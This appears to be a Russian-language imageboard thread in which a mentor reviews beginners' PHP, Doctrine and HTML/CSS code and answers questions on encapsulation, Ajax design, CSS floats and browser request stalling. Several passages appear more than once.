Это так называемая инкапсуляция, когда свойства помечены как private/protected и прямой доступ к ним имеет только сам класс, а не вся программа. Это делает код более надежным, а классы менее связанными друг с другом (то есть один класс не лезет внутрь другого, а лишь вызвает разрешенные методы). Инкапсуляция особенно важна когда код станет большим и там будет не 1, а сотни и тысячи классов — в таком объеме без нее никак.
Сам представь: в случае инкапсуляции, чтобы найти все места, где меняется значение свойства, достаточно просмотреть один класс. Без инкапсуляции — весь код.
-----
Паста №2:
-----
Для начала, я тебе хочу рассказать про такую штуку, как инкапсуляция. У этого слова есть разные определения, в том числе такие что ничего не понять, потому объясню простыми словами.
Суть инкапсуляции в том, что класс скрывает (инкапслирует) в себе логику работы с данными, а наружу выставляет методы. Пользователю этих методов не важно, как класс устроен внутри, как он хранит данные, ему достаточно вызвать нужный метод чтобы получить результат.
Это упрощает понимание кода: тебе не надо читать и разбирать код класса, достаточно прочитать название метода (и может быть комментарий к нему).
Инкапсуляция это хорошо. Так как весь код, который занимается одной задачей, оказывается заключен внутри одного класса. Противоположный случай это когда код (или знание о его внутреннем устройстве) вылезает из класса и размазывается по всей программе.
-----
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/autoload.php#L6
return не нужен, PHP сам проверит появился класс или нет.
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Animal.php
Класс надо пометить абстрактным. Также можно доабвить абстрактные методы для того чтобы потомки определили какие-то обязательные вещи (например $hunted, символ-обозначение).
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Animal.php#L33
Проще писать return ['x' => $this->x, ...];
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Cat.php
Простыню в функции move надо разбить на отдельные шаги и вынести их в отдельные методы. Как минимум нужны методы:
- получить список возможных ходов
- оценить один вариант
- сделать ход на клетку
В цикле поиска ходов стоит добавить проверку, возможен ли ход на эту клетку (то есть находится ли она в пределах карты и не занята ли) и не добавлять невозможные варианты.
Далее, у тебя есть свойство die — оно как-то используется? Если нет, какой от него прок? Съеденных животных надо как минимум снимать с карты.
> Почему-то здесь код крашиться, если использвовать throw new Exception(" - They Die ~((‡> <br>");
Как именн крашится? В чем это проявляется? Непойманное исключение как раз и завершает программу. Также, у тебя плохое сообщение об ошибке так как оно не пишет никаких подробностей, например кто именно умер.
return false не годится так как его никто не будет проверять (ты же не проверяешь что вернула move). Надо исключение. Почитай урок https://gist.github.com/codedokode/65d43ca5ac95c762bc1a
> class World {
> private $x;
Если это размер то лучше написать maxX или width, а то непонятно.
> public function getMap() {
Правильнее назвать getAllAnimals()
> throw new Exception("In this coordinate already have it object");
Нужно указывать подробности то есть в каких координатах и кто находистя а то ты сам же запутаешься.
return false не имеет смысла после throw.
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/World.php#L30
Также, не понимаю, почему у тебя map->attach стоит внутри цикла. Разве 1 раз добавить недостаточно?
> public function removeAnimalFromMap(Animal $animal) {
хорошо бы у животного тогда и ссылку на мир забирать. Ведь его в нем больше нет.
> Мне показалось так наглядней и удобней в плане написания кода. Поправь пожалуйста если не правильно.
Наоборот, все правильно.
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/World.php#L48
Строчки длинее 80 символов надо переносиь либо разбивать на несколько команд. Также, можно сделать функцию вычисления расстояния и проверять через нее.
> public function searchScaryAnimals(Animal $animal) {
> public function searchTrackedAnimals(Animal $animal) {
А вот это мне не очень нравится, мир не должен знать кто кого боится. Это знание должно быть в Cat и Mouse. Лучше явно передавать список животных которых надо найти:
public function searchAnimalsAroundByType(Animal $viewer, array $types)
> public function delimitation
Название функции начинается с глагола, например validateCoordinates() или isInsideMap()
> public function moveAnimal(array $from, array $to) {
Не нужна, достаточно у животного сделать метод moveTo()
>>Что нужно прочесть чтобы можно было вывести их хотя бы отступами
Лучше всего изучить HTML/CSS, у нас есть хорошие задачки по ним. В твоем случае достатоно изучить как верстаются таблицы (table, tr, td) и выводить таблицу, в ячейках которой стоят нужные символы. Для символов можно поискать что-нибудь из таблицы юникода: https://www.google.ru/search?q=%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0+%D1%8E%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4%D0%B0&newwindow=1&gbv=1&sei=3tMHVsOwGIWTyQPZ4paYAQ
Ты можешь просто вертикально выводить N таблиц, по одной на ход, а один анон еще нашел где-то слайдер на явакрипте который показывал их по таймеру:
http://apps.perfect-skin.com.ua/cat/ (сейчас анимации нет так как анон поленился скачать нужные скрипты к себе на сайт и подключил их с удаленного сервера который сейчас отдает ошибку. Если ты скачаешь все к себе на локалхост и разберешься с этим багом то все заработает. Не подключайте скрипты с внешних серверов).
> Почему лучше использовать $this->getProperty() вместо $this->property?
Инкапсуляция. Представь что завтра тебе надо возвращать число в 2 раза больше. В первом случае ты меняешь только метод getProperty(), во втором ищешь по всему коду $this->property и 100 раз дописываешь умножение на 2.
Паста:
-----
Это так называемая инкапсуляция, когда свойства помечены как private/protected и прямой доступ к ним имеет только сам класс, а не вся программа. Это делает код более надежным, а классы менее связанными друг с другом (то есть один класс не лезет внутрь другого, а лишь вызвает разрешенные методы). Инкапсуляция особенно важна когда код станет большим и там будет не 1, а сотни и тысячи классов — в таком объеме без нее никак.
Сам представь: в случае инкапсуляции, чтобы найти все места, где меняется значение свойства, достаточно просмотреть один класс. Без инкапсуляции — весь код.
-----
Паста №2:
-----
Для начала, я тебе хочу рассказать про такую штуку, как инкапсуляция. У этого слова есть разные определения, в том числе такие что ничего не понять, потому объясню простыми словами.
Суть инкапсуляции в том, что класс скрывает (инкапслирует) в себе логику работы с данными, а наружу выставляет методы. Пользователю этих методов не важно, как класс устроен внутри, как он хранит данные, ему достаточно вызвать нужный метод чтобы получить результат.
Это упрощает понимание кода: тебе не надо читать и разбирать код класса, достаточно прочитать название метода (и может быть комментарий к нему).
Инкапсуляция это хорошо. Так как весь код, который занимается одной задачей, оказывается заключен внутри одного класса. Противоположный случай это когда код (или знание о его внутреннем устройстве) вылезает из класса и размазывается по всей программе.
-----
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/autoload.php#L6
return не нужен, PHP сам проверит появился класс или нет.
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Animal.php
Класс надо пометить абстрактным. Также можно доабвить абстрактные методы для того чтобы потомки определили какие-то обязательные вещи (например $hunted, символ-обозначение).
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Animal.php#L33
Проще писать return ['x' => $this->x, ...];
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Cat.php
Простыню в функции move надо разбить на отдельные шаги и вынести их в отдельные методы. Как минимум нужны методы:
- получить список возможных ходов
- оценить один вариант
- сделать ход на клетку
В цикле поиска ходов стоит добавить проверку, возможен ли ход на эту клетку (то есть находится ли она в пределах карты и не занята ли) и не добавлять невозможные варианты.
Далее, у тебя есть свойство die — оно как-то используется? Если нет, какой от него прок? Съеденных животных надо как минимум снимать с карты.
> Почему-то здесь код крашиться, если использвовать throw new Exception(" - They Die ~((‡> <br>");
Как именн крашится? В чем это проявляется? Непойманное исключение как раз и завершает программу. Также, у тебя плохое сообщение об ошибке так как оно не пишет никаких подробностей, например кто именно умер.
return false не годится так как его никто не будет проверять (ты же не проверяешь что вернула move). Надо исключение. Почитай урок https://gist.github.com/codedokode/65d43ca5ac95c762bc1a
> class World {
> private $x;
Если это размер то лучше написать maxX или width, а то непонятно.
> public function getMap() {
Правильнее назвать getAllAnimals()
> throw new Exception("In this coordinate already have it object");
Нужно указывать подробности то есть в каких координатах и кто находистя а то ты сам же запутаешься.
return false не имеет смысла после throw.
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/World.php#L30
Также, не понимаю, почему у тебя map->attach стоит внутри цикла. Разве 1 раз добавить недостаточно?
> public function removeAnimalFromMap(Animal $animal) {
хорошо бы у животного тогда и ссылку на мир забирать. Ведь его в нем больше нет.
> Мне показалось так наглядней и удобней в плане написания кода. Поправь пожалуйста если не правильно.
Наоборот, все правильно.
> https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/World.php#L48
Строчки длинее 80 символов надо переносиь либо разбивать на несколько команд. Также, можно сделать функцию вычисления расстояния и проверять через нее.
> public function searchScaryAnimals(Animal $animal) {
> public function searchTrackedAnimals(Animal $animal) {
А вот это мне не очень нравится, мир не должен знать кто кого боится. Это знание должно быть в Cat и Mouse. Лучше явно передавать список животных которых надо найти:
public function searchAnimalsAroundByType(Animal $viewer, array $types)
> public function delimitation
Название функции начинается с глагола, например validateCoordinates() или isInsideMap()
> public function moveAnimal(array $from, array $to) {
Не нужна, достаточно у животного сделать метод moveTo()
А задачи на SQL, JS, HTML/CSS уже решил? Их тоже надо бы решить.
А сколько просить, не знаю, посмотри похожие вакансии.
>>548236
> что посмотреть по wordpress
Документацию. Документация пользователя, затем документация по темам (то есть натяжке верстки), затем по API (то есть написание плагинов). Ну и для практики, можешь попробовать слелать аналог m.roem.ru (мобильную версию так как она проще по структуре) или m.habrahabr.ru
Имей в виду что там где нужен вордпресс ты как раз и будешь заниматься натяжкой верстки и допиливанием плагинов. Если ты все наши задачи решил (не только учебник а то что в ОП посте) то для тебя это должно быть несложной задачей. Если не все,то да, будешь страдать и тупить.
> Уже неплохо знаю php, yii, yii2 js, jquery, mysql, html5, css.
Тогда лучше Юи и изучать. Вордпресс он для верстальщиков больше.
> Или посоветуй куда еще можно расти как веб программисту.
Для начала выучи все перечисленное на отличном уровне. А так, есть symfony 2 + doctrine + twig, очень мощный и хороший фреймворк с кучей библиотек к нему.
>>548244
Это потому что ты не разбираешься в позиционировании, и наверно читал какие-то дряные уроки от тех кто в нем тоже не разбирается. Наши задачи из Оп поста как раз этому учат и там есть ссылка на годный учебник на сайте softwaremaniacs
>>548172
Есть еще удаленная работа, но для нее надо знать все на хорошем уровне а не на уровне видеоуроков с ютуба.
>>548268
Теперь все верно только вот скобки вокруг else ставятся на одной строке:
if (...) {
...
} else {
....
}
>>548328
> Но если мне надо заменить ошибки, то либо мне заменять только на слова с маленькой "з", по этому шаблону, либо на каждый вариант с заглавной или без писать шаблон и замену,
Используй preg_replace_callback, там ты указываешь функцию для замены и можешь применить вообще любую логику для каждого найденного случая. Это очень мощная штука.
>>548435
Сделай в базовом контроллере функцию вроде returnJsonError(), а лучше посмотри документацию — наверняка там что-то готовое есть.
Вот я что-то нагуглил: https://github.com/samdark/yii2-cookbook/blob/master/book/response-formats.md
>>548451
> а на работу с текущими скиллами не берут (тупо вакансий нет для студентоты).
Судя по описанию у тебя скиллов просто не хватает. Так что учи дальше то, что не доучил. По HTML/CSS и по JS все наши задачи решил?
>>548479
Потому что учить джаву не хотят.
>>548488
Это вряд ли так как среднестатистический «фроненд» разработчик это не умеющий программировать верстальщик-быдлокодер. Верстать как правило он тоже не умеет, спецификаций не читал, просто свойства наугад переставляет, учится по видеоурокам.
>>548585
>>ни в коем случае не используй тут свойство overflow
> и как же мне выравнивать колонки?
А как свойство overflow поможет выравнять колонки? Оно просто определяет что делать с вываливающимся за границы блока контентом. Где это написано что оно помогает выравнивать колонки? Я потому и написал не использовать, чтобы люди начитавшись неграмотных советов из интернета, не пытались их применить.
Насчет того, как решить, решение тут простое: для контента ставим отступ слева, а меню выносим влево флоатом. У тебя примерно так вроде и сделано.
> зачем в этом задании clear? в твоем макете нет блоков которые идут после флоата и не должны на него наезжать
Верно. А изучить его все равно стоит.
> <div class="header"
> <div class="menu">
Почитай-ка список тегов и выбери более подходящие:
http://html5book.ru/html-tags/
http://proverstka.com.ua/blog/spisok-tegov-i-atributov-html5/
http://www.w3.org/TR/html-markup/elements.html (англ)
Заголовок делается одним из тегов hX.
Вообще, верстка начинается с HTML. Ты должен разметить текст наиболее правильно и только потом ставить CSS стили. И разумеется ты должен помнить основные теги и представлять какие есть еще.
> <div class="box">
Не нужен. Тем более он у тебя зачем-то еще зафлоачен влево.
> ul, li {
> margin: 0;
> padding: 0;
> list-style: none;
Это неправильно. Что, если в тексте статьи есть списки? Они преврататся в сплошной блок текста. Надо применять стили только к меню а не ко всем ul на странице.
Также, кавычки-елочки потерялись куда-то. Также, в меню надо сделать отступы между пунктами больше, как на картинке.
>>548771
> CSS знаю хорошо, но не в идеале.
А учебник по позиционированию на softwaremaniacs ты читал например? Наши задачи на HTML/CSS решал? Они как раз позиционированию посвящены во многом.
> Ну не могу я логично понять ПОЧЕМУ если указываешь float: left; то в обном случае он выравнивает по левому краю, а второй блок уезжает вообще вниз и выравнивается по одному ему известной логике!
Это потому что ты на самом деле не знаешь CSS и позиционирование и не читал учебник по ссылке выше. Ты думаешь что если ты прочел где-то про свойство width и color то это знание CSS, а это не так. Это лишь самое начало, которого недостаточно для верстки. Ну то есть тот кто знает CSS, он прекрасно понимает и поведение флоатов, и маргин коллапсинг и инлайм-блоки и особенности display: table-cell и что такое клеарфикс.
Советую прочесть учебник по позиционированию и порешать наши задачи на HTML/CSS и наверняка больше флоаты у тебя проблем вызывать не будут.
>>548775
> 1. Искусство программирования
> Автор: Дональд Э.Кнут
Я думаю тебе и этой одной книги хватит. К тому моменту как ты ее прочтешь ты конено станешь экспертом по алгоритмам, но вряд ли тебя куда возьмут учитывая твой пенсионный возраст и ноль опыта.
Остальные книги хороши, но рассчитаны не на начинающих, а на тех кто в миддлы метит.
>>548776
Скорее всего ты просто плохо знаешь CSS потому у тебя вызывает проблемы исправление ошибок. Решал бы наши задачки, читал бы учебник по позиционированию. Ну а насчет заказчиков, кто платит деньги тот и высказывает пожелания. Что сложного исправить как просят?
>>548777
> Помню мне еще в одной вакансии предложили
Это фильтр. Если тебе тестовое задание делать неохота, ты наверно и к работе так же относиться будешь, сделаешь как попало. У тебя впрочем тоже есть выбор, не идти в такую компанию.
>>548806
> Как же меня заебали предки
Переехать жить отдельно не пробовал, или ты еще пока в школе учишься? переезжай и живи так, как тебе нравится и проблема будет решена.
>>548809
> Но заучивать кучу хаков и дрочить различия реализаций тех или иных свойств в браузерах
В наше время никаких значительных различий нет, под ИЕ6 и 7 никто сейчас не верстает, а ИЕ8 это почти CSS2.1 совместимый браузер и проблем я не вижу.
> Каждую неделю пилится по новому js-фреймворку, но никто не решается покончить с гребаным css, и выкатить однозначно не противоречивое и простое решение.
Может быть это сделаешь ты?
>>548827
Мы не обсуждаем тут такие вещи так что придется тебе ковыряться самому. для начала попробуй включить display_errors например. Ну и почитай что такое POST.
>>548833
Руби наверно лишний, а Питон да, хороший язык для начинающего, он прост и логичен (в отличие от Руби где куча всего намешана).
>>548858
Прототипное наследование это нормально (за неимением нормального). Например в Google Closure Library оно везде использовалось. Да и в том же jQuery тоже методы через прототипы сделаны.
А задачи на SQL, JS, HTML/CSS уже решил? Их тоже надо бы решить.
А сколько просить, не знаю, посмотри похожие вакансии.
>>548236
> что посмотреть по wordpress
Документацию. Документация пользователя, затем документация по темам (то есть натяжке верстки), затем по API (то есть написание плагинов). Ну и для практики, можешь попробовать слелать аналог m.roem.ru (мобильную версию так как она проще по структуре) или m.habrahabr.ru
Имей в виду что там где нужен вордпресс ты как раз и будешь заниматься натяжкой верстки и допиливанием плагинов. Если ты все наши задачи решил (не только учебник а то что в ОП посте) то для тебя это должно быть несложной задачей. Если не все,то да, будешь страдать и тупить.
> Уже неплохо знаю php, yii, yii2 js, jquery, mysql, html5, css.
Тогда лучше Юи и изучать. Вордпресс он для верстальщиков больше.
> Или посоветуй куда еще можно расти как веб программисту.
Для начала выучи все перечисленное на отличном уровне. А так, есть symfony 2 + doctrine + twig, очень мощный и хороший фреймворк с кучей библиотек к нему.
>>548244
Это потому что ты не разбираешься в позиционировании, и наверно читал какие-то дряные уроки от тех кто в нем тоже не разбирается. Наши задачи из Оп поста как раз этому учат и там есть ссылка на годный учебник на сайте softwaremaniacs
>>548172
Есть еще удаленная работа, но для нее надо знать все на хорошем уровне а не на уровне видеоуроков с ютуба.
>>548268
Теперь все верно только вот скобки вокруг else ставятся на одной строке:
if (...) {
...
} else {
....
}
>>548328
> Но если мне надо заменить ошибки, то либо мне заменять только на слова с маленькой "з", по этому шаблону, либо на каждый вариант с заглавной или без писать шаблон и замену,
Используй preg_replace_callback, там ты указываешь функцию для замены и можешь применить вообще любую логику для каждого найденного случая. Это очень мощная штука.
>>548435
Сделай в базовом контроллере функцию вроде returnJsonError(), а лучше посмотри документацию — наверняка там что-то готовое есть.
Вот я что-то нагуглил: https://github.com/samdark/yii2-cookbook/blob/master/book/response-formats.md
>>548451
> а на работу с текущими скиллами не берут (тупо вакансий нет для студентоты).
Судя по описанию у тебя скиллов просто не хватает. Так что учи дальше то, что не доучил. По HTML/CSS и по JS все наши задачи решил?
>>548479
Потому что учить джаву не хотят.
>>548488
Это вряд ли так как среднестатистический «фроненд» разработчик это не умеющий программировать верстальщик-быдлокодер. Верстать как правило он тоже не умеет, спецификаций не читал, просто свойства наугад переставляет, учится по видеоурокам.
>>548585
>>ни в коем случае не используй тут свойство overflow
> и как же мне выравнивать колонки?
А как свойство overflow поможет выравнять колонки? Оно просто определяет что делать с вываливающимся за границы блока контентом. Где это написано что оно помогает выравнивать колонки? Я потому и написал не использовать, чтобы люди начитавшись неграмотных советов из интернета, не пытались их применить.
Насчет того, как решить, решение тут простое: для контента ставим отступ слева, а меню выносим влево флоатом. У тебя примерно так вроде и сделано.
> зачем в этом задании clear? в твоем макете нет блоков которые идут после флоата и не должны на него наезжать
Верно. А изучить его все равно стоит.
> <div class="header"
> <div class="menu">
Почитай-ка список тегов и выбери более подходящие:
http://html5book.ru/html-tags/
http://proverstka.com.ua/blog/spisok-tegov-i-atributov-html5/
http://www.w3.org/TR/html-markup/elements.html (англ)
Заголовок делается одним из тегов hX.
Вообще, верстка начинается с HTML. Ты должен разметить текст наиболее правильно и только потом ставить CSS стили. И разумеется ты должен помнить основные теги и представлять какие есть еще.
> <div class="box">
Не нужен. Тем более он у тебя зачем-то еще зафлоачен влево.
> ul, li {
> margin: 0;
> padding: 0;
> list-style: none;
Это неправильно. Что, если в тексте статьи есть списки? Они преврататся в сплошной блок текста. Надо применять стили только к меню а не ко всем ul на странице.
Также, кавычки-елочки потерялись куда-то. Также, в меню надо сделать отступы между пунктами больше, как на картинке.
>>548771
> CSS знаю хорошо, но не в идеале.
А учебник по позиционированию на softwaremaniacs ты читал например? Наши задачи на HTML/CSS решал? Они как раз позиционированию посвящены во многом.
> Ну не могу я логично понять ПОЧЕМУ если указываешь float: left; то в обном случае он выравнивает по левому краю, а второй блок уезжает вообще вниз и выравнивается по одному ему известной логике!
Это потому что ты на самом деле не знаешь CSS и позиционирование и не читал учебник по ссылке выше. Ты думаешь что если ты прочел где-то про свойство width и color то это знание CSS, а это не так. Это лишь самое начало, которого недостаточно для верстки. Ну то есть тот кто знает CSS, он прекрасно понимает и поведение флоатов, и маргин коллапсинг и инлайм-блоки и особенности display: table-cell и что такое клеарфикс.
Советую прочесть учебник по позиционированию и порешать наши задачи на HTML/CSS и наверняка больше флоаты у тебя проблем вызывать не будут.
>>548775
> 1. Искусство программирования
> Автор: Дональд Э.Кнут
Я думаю тебе и этой одной книги хватит. К тому моменту как ты ее прочтешь ты конено станешь экспертом по алгоритмам, но вряд ли тебя куда возьмут учитывая твой пенсионный возраст и ноль опыта.
Остальные книги хороши, но рассчитаны не на начинающих, а на тех кто в миддлы метит.
>>548776
Скорее всего ты просто плохо знаешь CSS потому у тебя вызывает проблемы исправление ошибок. Решал бы наши задачки, читал бы учебник по позиционированию. Ну а насчет заказчиков, кто платит деньги тот и высказывает пожелания. Что сложного исправить как просят?
>>548777
> Помню мне еще в одной вакансии предложили
Это фильтр. Если тебе тестовое задание делать неохота, ты наверно и к работе так же относиться будешь, сделаешь как попало. У тебя впрочем тоже есть выбор, не идти в такую компанию.
>>548806
> Как же меня заебали предки
Переехать жить отдельно не пробовал, или ты еще пока в школе учишься? переезжай и живи так, как тебе нравится и проблема будет решена.
>>548809
> Но заучивать кучу хаков и дрочить различия реализаций тех или иных свойств в браузерах
В наше время никаких значительных различий нет, под ИЕ6 и 7 никто сейчас не верстает, а ИЕ8 это почти CSS2.1 совместимый браузер и проблем я не вижу.
> Каждую неделю пилится по новому js-фреймворку, но никто не решается покончить с гребаным css, и выкатить однозначно не противоречивое и простое решение.
Может быть это сделаешь ты?
>>548827
Мы не обсуждаем тут такие вещи так что придется тебе ковыряться самому. для начала попробуй включить display_errors например. Ну и почитай что такое POST.
>>548833
Руби наверно лишний, а Питон да, хороший язык для начинающего, он прост и логичен (в отличие от Руби где куча всего намешана).
>>548858
Прототипное наследование это нормально (за неимением нормального). Например в Google Closure Library оно везде использовалось. Да и в том же jQuery тоже методы через прототипы сделаны.
Точно, зависает. Я сделал вывод времени запуска и завершения скрипта и действительно, они выполняются по очереди.
Давай попробуем разгадать эту загадку. Добавь в скрипт вывод времени, открой его в нескольких владках, и в последней открой отладчик (Ctrl + Shift + I) и перезагрузи. Отладчик (а также просмотр логов Апача где ставится время получения запроса) покажет интересную вещь: браузер ждет (это время показано как stalled) пока не загрузятся предыдущие вкладки. Что значит stalled? В документации к отладчику Хрома написано:
> Time the request spent waiting before it could be sent. This time is inclusive of any time spent in proxy negotiation. Additionally, this time will include when the browser is waiting for an already established connection to become available for re-use, obeying Chrome's maximum six TCP connection per origin rule.
Похоже, действует какое-то ограничение в браузере какое же? Фаерфокс ведет себя так же.
Гугление находит такой вопрос: http://stackoverflow.com/a/14119399
Похоже что браузер пытается не отправлять второй запрос в надежде, что первый вернет ответ который будет кешируемый и который можно будет отдать во вторую вкладку. Обойти можно добавив случайный параметр в URL или поменяв метод на POST (рекомендуется).
А также такой вопрос: http://stackoverflow.com/questions/27513994/chrome-stalls-when-making-multiple-requests-to-same-resource (там в вопросе также описаны методы получения подробностей о том что происходит)
И вот это: https://codereview.chromium.org/345643003
> The cache has a single writer / multiple reader lock to avoid downloading the
same resource n times.
Кеш в Хроме использует блокировку чтобы не загружать один и тот же ресурс несколько раз одновременно.
Обрати внимание что также в браузерах есть (более известный) лимит параллельных запросов на один домен, от 2 до 6.
Проверить что я прав и дело в браузере легко, отправляя запросы через командную строку, командой wget или curl (нужен мак/линукс и знание командной строки):
curl -v 'http://localhost/wait.php'
при запуске из 2 консолей покажет что запросы выполняются параллельно. Или отправь запросы из разных браузеров.
> Потом скрипт через echo выплевывает js код который рефрешит страницу.
Это кстати очень дурной и ненадежный подход, не стоит использовать на продакшене, только если в какихнибудь поделках для себя. На серьезных сайтах надо делать очередь задач через крон или какой-нибудь Gearman.
>>548905
Что-то мне название не нравится, мало того что оно оскорбительные слова содержит так еще и «смотреть всем» большими буквами.
Точно, зависает. Я сделал вывод времени запуска и завершения скрипта и действительно, они выполняются по очереди.
Давай попробуем разгадать эту загадку. Добавь в скрипт вывод времени, открой его в нескольких владках, и в последней открой отладчик (Ctrl + Shift + I) и перезагрузи. Отладчик (а также просмотр логов Апача где ставится время получения запроса) покажет интересную вещь: браузер ждет (это время показано как stalled) пока не загрузятся предыдущие вкладки. Что значит stalled? В документации к отладчику Хрома написано:
> Time the request spent waiting before it could be sent. This time is inclusive of any time spent in proxy negotiation. Additionally, this time will include when the browser is waiting for an already established connection to become available for re-use, obeying Chrome's maximum six TCP connection per origin rule.
Похоже, действует какое-то ограничение в браузере какое же? Фаерфокс ведет себя так же.
Гугление находит такой вопрос: http://stackoverflow.com/a/14119399
Похоже что браузер пытается не отправлять второй запрос в надежде, что первый вернет ответ который будет кешируемый и который можно будет отдать во вторую вкладку. Обойти можно добавив случайный параметр в URL или поменяв метод на POST (рекомендуется).
А также такой вопрос: http://stackoverflow.com/questions/27513994/chrome-stalls-when-making-multiple-requests-to-same-resource (там в вопросе также описаны методы получения подробностей о том что происходит)
И вот это: https://codereview.chromium.org/345643003
> The cache has a single writer / multiple reader lock to avoid downloading the
same resource n times.
Кеш в Хроме использует блокировку чтобы не загружать один и тот же ресурс несколько раз одновременно.
Обрати внимание что также в браузерах есть (более известный) лимит параллельных запросов на один домен, от 2 до 6.
Проверить что я прав и дело в браузере легко, отправляя запросы через командную строку, командой wget или curl (нужен мак/линукс и знание командной строки):
curl -v 'http://localhost/wait.php'
при запуске из 2 консолей покажет что запросы выполняются параллельно. Или отправь запросы из разных браузеров.
> Потом скрипт через echo выплевывает js код который рефрешит страницу.
Это кстати очень дурной и ненадежный подход, не стоит использовать на продакшене, только если в какихнибудь поделках для себя. На серьезных сайтах надо делать очередь задач через крон или какой-нибудь Gearman.
>>548905
Что-то мне название не нравится, мало того что оно оскорбительные слова содержит так еще и «смотреть всем» большими буквами.
Я проверял только изменения за последние 20 дней, вот это: https://github.com/V3N0m21/Uppu3/compare/master@%7B20days%7D...master
Верно?
> Всякие запросы txt и xml файлов, но нигде доходчиво не расписано как например запостить что-то, обратно получить изменение страницы и как сделать все правильно.
А ты HTTP хорошо знаешь? Что такое методы, заголовки, код ответа, как отпраляются данные формы при POST запросе?
Данные на сервер посылают через GET или POST параметры. Выбор GET или POST зависит от того что ты делаешь (GET кешируется и не должен менять ничего на сервере). Ответ отправляется обычно в 1 из 2 форматов:
- просто HTML, который вставляется в нужное место страницы, минус: нельзя отправить в ответ сообщение об ошибке (разве что только через HTTP код ответа)
- JSON который позволяет передать любые данные, в том числе статус и наличие ошибки. Он удобнее.
В интерфейсе пользователя ты должен сделать следующее:
- индикацию что идет отправка запроса и блокировку кнопки отправки на это время (обычно используют анимацию, например CSS анимацию или гифку). Иногда индикатор показвают с небольшой задержкой (50-150 мс) чтобы при быстром ответе сервера он не мигал зря, но если задержку поставить большой то у пользователя будт ощущение медленной реакции системы, что плохо.
- при ошибке транспорта (ну то есть не удалось соединиться с сервером, код ответа не 200, ответ в неверном формате), а также логических ошибках (не введен текст комментария, комментарий содержит нехорошие слова) надо выводить соответствующее сообщение и давать возможность повторить попытку
- по желанию можно добавить таймаут для защиты от зависших запросов при плохой связи, но таймаут должен быть большим, наверно порядка минуты, чтобы на медленных плохих соединениях данные успевали отправиться.
В коде стоит сделать отдельную функцию для отправки запроса (например sendAjaxRequest) с интерфейсом, аналогичным тому что используется в jQuery:
http://api.jquery.com/jquery.ajax/
http://jquery.page2page.ru/index.php5/Ajax-%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81 (рус)
Все опции делать конечно не надо, хватит только тех что нужны тебе.
Вообще, это важная тема так что уточняй, если что непонятно. При аякс-запросе ты берешь на себя часть функций браузера и должен предоставлять нужные элементы интерфейса (например индикатор отправки).
> https://github.com/V3N0m21/Uppu3/blob/master/app/Entity/Comment.php
Этот код и аналогичный надо отформатировать. Аннотации надо выстроить вертикально, а не в 1 строчку.
> https://github.com/V3N0m21/Uppu3/blob/master/app/Entity/Comment.php#L51
> @ORM\Column(name="fileId", type="integer")
Тут должен стоять не маппинг на колонку, а связь с файлом. Никакой выгоды от замены объекта на его id нету.
Кстати проверить правильность маппингов можно командой doctrine orm:validate-schema, только надо разобарться как ее вызывать:
http://doctrine-orm.readthedocs.org/en/latest/reference/tools.html#runtime-vs-development-mapping-validation
Может быть так:
> ./vendor/bin/doctrine-module orm:validate-schema
может как-то еще. Там, кстати, доктрина умеет даже SQL код генерирвать и таблицы создавать по описанию сущностей, хотя нужно ли это в данном проекте, не знаю. Тебе наверно лучше пока руками создавать все.
> public function setCreated()
> {
> $this->created = new \DateTime("now");
Тогда функцию надо называть setCreatedNow. Более того, если у тебя это по умолчанию так, то можно прописать это прямо в конструктор.
> public function setPassword($password)
Это пароль или хеш? Если хеш то надо переименовать. Если пароль то почему хранишь в базе открытые пароли?
Тут не должно быть статического метода, а должен быть класс где $em передается в конструктор (то есть Dependency injection).
Также, мне не нравится это массиво-ориентированное программирование везде. У нас же есть объекты, давай их передавать для сохранения и валидации. Тут правда появляется проблема, а что делать с полями которых в объекте нет (вроде пароля и подтверждения)? Есть 2 выхода:
- передавать их отдельно массивом
- сделать объект типа RegsiterFormModel который содержит объект User + лишние поля. Но стоит ли этим заморачиваться?
Но то, что есть в User, я думаю, массивом передавать не стоит.
> $userResource = new User;
Почему resource? Это же модель, $userModel или просто $user.
Также, я не уверен что UserHelper должен вызывать flush(). Это наверно логично в контроллере делать (может даже как-то автоматизированно), а не раскидывать по 20 местам в коде. Ну и это позволит делать несколько изменений в рамках одной транзакции. Ну то есть тут надо подумать, какую логику мы хотим: делать изменения одной транзакцией или несколькими.
> app/Helper/ValidationHelper.php
Название плохое, надо назвать UserValidator. И уменьшить там число массивов. Также надо подумать, а не лучше ли возвращать ошибки явно, чем хранить их в свойстве error? А если хранить то сделать удобные методы вроде hasErrors().
Также непонятна логика возврата значений, когда он может вернуть либо true либо сообщение. Не лучше ли при отстутсвии ошибки возвращать например null?
> return $this->error['login'] = "Login should be filled";
Такие вещи надо писать в 2 строки.
> notEmpty
Имена функций начинаются с глагола
Не хватает проверки на уникальность email. Нет проверки на длину пароля. В email надо запретить использовать пробелы.
> postForm{{comment.id}}
Это что за ерунда? Имя переменной формируется динамически? Это ненадежно и неподдерживаемо, так делать не надо. тем более я не вижу в твоем коде места где бы создавались эти переменные.
> '{{comment.user}}'
А что если в имени кавычка? Если бекслеш? JS-данные надо вставлять через json_encode. После того как заменишь, проверь что любые спецсимволы и все виды кавычек, бекслешей не ломают JS код.
> <ul style="list-style:none;">
CSS должен быть в CSS файле. Также, шаблоны тоже надо отформатировать нормально, отступы все расползлись (табы используешь небось?)
> <i>{{ comment.user }} wrote:</i>
> <h4>Нажмите чтоб написать комментарий</h4>
Оформление и внешний вид должны задаваться через CSS а не тегами. Теги используются для смысловой разметки. Найди потом время порешать наши задачки на HTML/CSS ибо с ними все плохо.
> <span>reply</span>
Почему не button type=button ?
